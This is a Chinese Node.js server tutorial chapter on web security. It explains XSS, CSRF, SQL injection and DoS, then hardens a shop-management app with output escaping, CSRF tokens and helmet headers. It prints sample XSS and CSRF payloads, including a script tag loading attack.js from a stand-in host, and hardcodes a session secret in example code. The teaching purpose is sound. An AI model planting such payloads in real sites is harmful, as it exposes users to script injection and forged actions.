从零搭建 Node.js 企业级 Web 服务器(八):网络安全

关于网络安全

计算机网络依据 TCP/IP 协议栈分为了物理层、网络层、传输层、应用层,通常基础设施供应商会解决好前三层的网络安全问题,需要开发者自行解决应用层的网络安全问题,本章将着重表述应用层常见的网络安全问题及处理方法。

9f68f11809933ff550cff53d48bdf1a726f9fb4f.jpg

常见的应用层攻击手段

XSS

XSS(cross-site scripting),跨站脚本攻击,通过在页面中注入脚本发起攻击。举个例子:我在一个有 XSS 缺陷的在线商城开了一家店铺,编辑商品详情页时提交了这样的描述:特制辣酱<script src="https://cross-site.scripting/attack.js"></script>,当用户访问该商品的详情时 attack.js 就被执行了,我通过该脚本可以在用户不知情的情况下窃取数据或者发起操作,比如:把用户正在浏览的商品加入到购物车。

CSRF

CSRF(cross-site request forgery),跨站请求伪造,通过伪造用户数据请求发起攻击。举个例子:我在一个有 CSRF 缺陷的论坛回复了一则热门帖:赞!<img src="/api/cross-site?request=forgery" />,当用户访问到这条回复时 img 标签就会在用户不知情的情况下以该用户的身份发起提前设置的请求,比如:转 1 积分到我自己的帐号上。

SQLi

SQLi(SQL injection),SQL 注入,通过在数据库操作注入 SQL 片段发起攻击。SQLi 是非常危险的攻击,可以绕过系统中的各种限制直接对数据进行窃取和篡改。但同时, SQLi 又是比较容易防范的,只要对入参字符串做好转义处理就可以规避,常见的 ORM 模块都做好了此类处理。

DoS

DoS(denial-of-service),拒绝服务攻击,通过大量的无效访问让应用陷入瘫痪。在 DoS 基础上又有 DDoS(distributed denial-of-service),分布式拒绝服务攻击,是加强版的 DoS。通常此类攻击在传输层就已经做好了过滤,应用层一般在集群入口也做了过滤,应用节点不需要再关心。

攻击测试

再回到上一章已完成的工程 host1-tech/nodejs-server-examples - 07-authentication,当前的店铺管理功恰好因为店铺名称长度校验限制和没有基于 http get 的变更接口而一定程度上规避了 XSS 和 CSRF 缺陷,另外因为数据库访问基于 ORM 实现也基本规避了 SQLi 缺陷。现在把长度校验放松以进行 XSS 攻击测试:

// src/moulds/ShopForm.js
const Yup = require('yup');

exports.createShopFormSchema = () =>
  Yup.object({
    name: Yup.string()
      .required('店铺名不能为空')
      .min(3, '店铺名至少 3 个字符')
      .max(120, '店铺名不可超过 120 字'),
  });

XSS 攻击 1 百草味<script>alert('XSS 攻击 1 成功 🤪')</script>

01d6e48c1c1817334982f49279dc7ec2b8445b03.gif

XSS 攻击 2 广州酒家<img src="_" onerror="alert('XSS 攻击 2 成功 🤪')"/>

0212343bd7e003b73a508cea89d3ea47a62fc56c.gif

基于 innerHTML 更新 DOM 时 script 标签不会执行(详见标准),所以 XSS 攻击 1 无效。在换了新的写法后,XSS 攻击 2 就生效了。

强化网络安全

接下来通过 escape-htmlcsurfhelmet 对当前工程的网络安全进行强化,在工程根目录执行以下安装命令:

$ yarn add escape-html csurf helmet # 本地安装 escape-html、csurf、helmet
# ...
info Direct dependencies
├─ csurf@1.11.0
├─ escape-html@1.0.3
└─ helmet@3.23.3
# ...

对店铺信息输出做转义处理:

// src/utils/escape-html-in-object.js
const escapeHtml = require('escape-html');

module.exports = function escapeHtmlInObject(input) {
  // 尝试将 ORM 对象转化为普通对象
  try {
    input = input.toJSON();
  } catch {}

  // 对类型为 string 的值转义处理
  if (Array.isArray(input)) {
    return input.map(escapeHtmlInObject);
  } else if (typeof input == 'object') {
    const output = {};
    Object.keys(input).forEach(k => {
      output[k] = escapeHtmlInObject(input[k]);
    });
    return output;
  } else if (typeof input == 'string') {
    return escapeHtml(input);
  } else {
    return input;
  }
};
// src/controllers/shop.js
const { Router } = require('express');
const bodyParser = require('body-parser');
const shopService = require('../services/shop');
const { createShopFormSchema } = require('../moulds/ShopForm');
const cc = require('../utils/cc');
+const escapeHtmlInObject = require('../utils/escape-html-in-object');

class ShopController {
  shopService;

  async init() {
    this.shopService = await shopService();

    const router = Router();
    router.get('/', this.getAll);
    router.get('/:shopId', this.getOne);
    router.put('/:shopId', this.put);
    router.delete('/:shopId', this.delete);
    router.post('/', bodyParser.urlencoded({ extended: false }), this.post);
    return router;
  }

  getAll = cc(async (req, res) => {
    const { pageIndex, pageSize } = req.query;
    const shopList = await this.shopService.find({ pageIndex, pageSize });

-    res.send({ success: true, data: shopList });
+    res.send(escapeHtmlInObject({ success: true, data: shopList }));
  });

  getOne = cc(async (req, res) => {
    const { shopId } = req.params;
    const shopList = await this.shopService.find({ id: shopId });

    if (shopList.length) {
-      res.send({ success: true, data: shopList[0] });
+      res.send(escapeHtmlInObject({ success: true, data: shopList[0] }));
    } else {
      res.status(404).send({ success: false, data: null });
    }
  });

  put = cc(async (req, res) => {
    const { shopId } = req.params;
    const { name } = req.query;

    try {
      await createShopFormSchema().validate({ name });
    } catch (e) {
      res.status(400).send({ success: false, message: e.message });
      return;
    }

    const shopInfo = await this.shopService.modify({
      id: shopId,
      values: { name },
    });

    if (shopInfo) {
-      res.send({ success: true, data: shopInfo });
+      res.send(escapeHtmlInObject({ success: true, data: shopInfo }));
    } else {
      res.status(404).send({ success: false, data: null });
    }
  });

  delete = cc(async (req, res) => {
    const { shopId } = req.params;
    const success = await this.shopService.remove({ id: shopId });

    if (!success) {
      res.status(404);
    }
    res.send({ success });
  });

  post = cc(async (req, res) => {
    const { name } = req.body;

    try {
      await createShopFormSchema().validate({ name });
    } catch (e) {
      res.status(400).send({ success: false, message: e.message });
      return;
    }

    const shopInfo = await this.shopService.create({ values: { name } });

-    res.send({ success: true, data: shopInfo });
+    res.send(escapeHtmlInObject({ success: true, data: shopInfo }));
  });
}

module.exports = async () => {
  const c = new ShopController();
  return await c.init();
};

再次尝试 XSS 攻击 2 广州酒家<img src="_" onerror="alert('XSS 攻击 2 成功 🤪')"/>

0dbee9993f5c51d1981d027f1eeb81c2a2fad7d2.gif

这样就可以抵御 XSS 攻击了,现在再预防一下 CSRF 攻击:

// src/middlewares/index.js
const { Router } = require('express');
const cookieParser = require('cookie-parser');
+const bodyParser = require('body-parser');
+const csurf = require('csurf');
const sessionMiddleware = require('./session');
const urlnormalizeMiddleware = require('./urlnormalize');
const loginMiddleware = require('./login');
const authMiddleware = require('./auth');

const secret = '842d918ced1888c65a650f993077c3d36b8f114d';

module.exports = async function initMiddlewares() {
  const router = Router();
  router.use(urlnormalizeMiddleware());
  router.use(cookieParser(secret));
  router.use(sessionMiddleware(secret));
  router.use(loginMiddleware());
  router.use(authMiddleware());
+  router.use(bodyParser.urlencoded({ extended: false }), csurf());
  return router;
};
// src/controllers/csrf.js
const { Router } = require('express');

class CsrfController {
  async init() {
    const router = Router();
    router.get('/script', this.getScript);
    return router;
  }

  getScript = (req, res) => {
    res.type('js');
    res.send(`window.__CSRF_TOKEN__='${req.csrfToken()}';`);
  };
}

module.exports = async () => {
  const c = new CsrfController();
  return await c.init();
};
const { parse } = require('url');

module.exports = function loginMiddleware(
  homepagePath = '/',
  loginPath = '/login.html',
  whiteList = {
    '/500.html': ['get'],
    '/api/health': ['get'],
+    '/api/csrf/script': ['get'],
    '/api/login': ['post'],
    '/api/login/github': ['get'],
    '/api/login/github/callback': ['get'],
  }
) {
  // ...
};
<!-- public/login.html -->
<html>
  <head>
    <meta charset="utf-8" />
+    <script src="/api/csrf/script"></script>
  </head>
  <body>
    <form method="post" action="/api/login">
+      <script>
+        document.write(
+          `<input type="hidden" name="_csrf" value="${__CSRF_TOKEN__}" />`
+        );
+      </script>
      <button type="submit">一键登录</button>
    </form>
    <a href="/api/login/github"><button>Github 登录</button></a>
  </body>
</html>
<!-- public/index.html -->
<html>
  <head>
    <meta charset="utf-8" />
    <link rel="stylesheet" href="./index.css" />
+    <script src="/api/csrf/script"></script>
  </head>
  <!-- ... -->
</html>
// public/index.js
// ...
export async function modifyShopInfo(e) {
  const shopId = e.target.parentElement.dataset.shopId;
  const name = e.target.parentElement.querySelector('input').value;

  try {
    await createShopFormSchema().validate({ name });
  } catch ({ message }) {
    e.target.parentElement.querySelector('.error').innerHTML = message;
    return;
  }

  await fetch(`/api/shop/${shopId}?name=${encodeURIComponent(name)}`, {
    method: 'PUT',
+    headers: {
+      'Csrf-Token': __CSRF_TOKEN__,
+    },
  });
  await refreshShopList();
}

export async function removeShopInfo(e) {
  const shopId = e.target.parentElement.dataset.shopId;
-  const res = await fetch(`/api/shop/${shopId}`, { method: 'DELETE' });
+  const res = await fetch(`/api/shop/${shopId}`, {
+    method: 'DELETE',
+    headers: {
+      'Csrf-Token': __CSRF_TOKEN__,
+    },
  });
  await refreshShopList();
}

export async function createShopInfo(e) {
  e.preventDefault();
  const name = e.target.parentElement.querySelector('input[name=name]').value;

  try {
    await createShopFormSchema().validate({ name });
  } catch ({ message }) {
    e.target.parentElement.querySelector('.error').innerHTML = message;
    return;
  }

  await fetch('/api/shop', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded',
+      'Csrf-Token': __CSRF_TOKEN__,
    },
    body: `name=${encodeURIComponent(name)}`,
  });

  await refreshShopList();
}

最后,使用 helmet 模块通过 http 头控制浏览器提供更安全的环境:

const { Router } = require('express');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const csurf = require('csurf');
+const helmet = require('helmet');
const sessionMiddleware = require('./session');
const urlnormalizeMiddleware = require('./urlnormalize');
const loginMiddleware = require('./login');
const authMiddleware = require('./auth');

const secret = '842d918ced1888c65a650f993077c3d36b8f114d';

module.exports = async function initMiddlewares() {
  const router = Router();
+  router.use(helmet());
  router.use(urlnormalizeMiddleware());
  router.use(cookieParser(secret));
  router.use(sessionMiddleware(secret));
  router.use(loginMiddleware());
  router.use(authMiddleware());
  router.use(bodyParser.urlencoded({ extended: false }), csurf());
  return router;
};

以上是 Node.js 中常用的安全防范措施,有兴趣的读者可以在 OWASP 进一步了解。

本章源码

host1-tech/nodejs-server-examples - 08-security

更多阅读

从零搭建 Node.js 企业级 Web 服务器(零):静态服务
从零搭建 Node.js 企业级 Web 服务器(一):接口与分层
从零搭建 Node.js 企业级 Web 服务器(二):校验
从零搭建 Node.js 企业级 Web 服务器(三):中间件
从零搭建 Node.js 企业级 Web 服务器(四):异常处理
从零搭建 Node.js 企业级 Web 服务器(五):数据库访问
从零搭建 Node.js 企业级 Web 服务器(六):会话
从零搭建 Node.js 企业级 Web 服务器(七):认证登录
从零搭建 Node.js 企业级 Web 服务器(八):网络安全
从零搭建 Node.js 企业级 Web 服务器(九):配置项
从零搭建 Node.js 企业级 Web 服务器(十):日志
从零搭建 Node.js 企业级 Web 服务器(十一):定时任务
从零搭建 Node.js 企业级 Web 服务器(十二):远程调用

阅读 2.4k

推荐阅读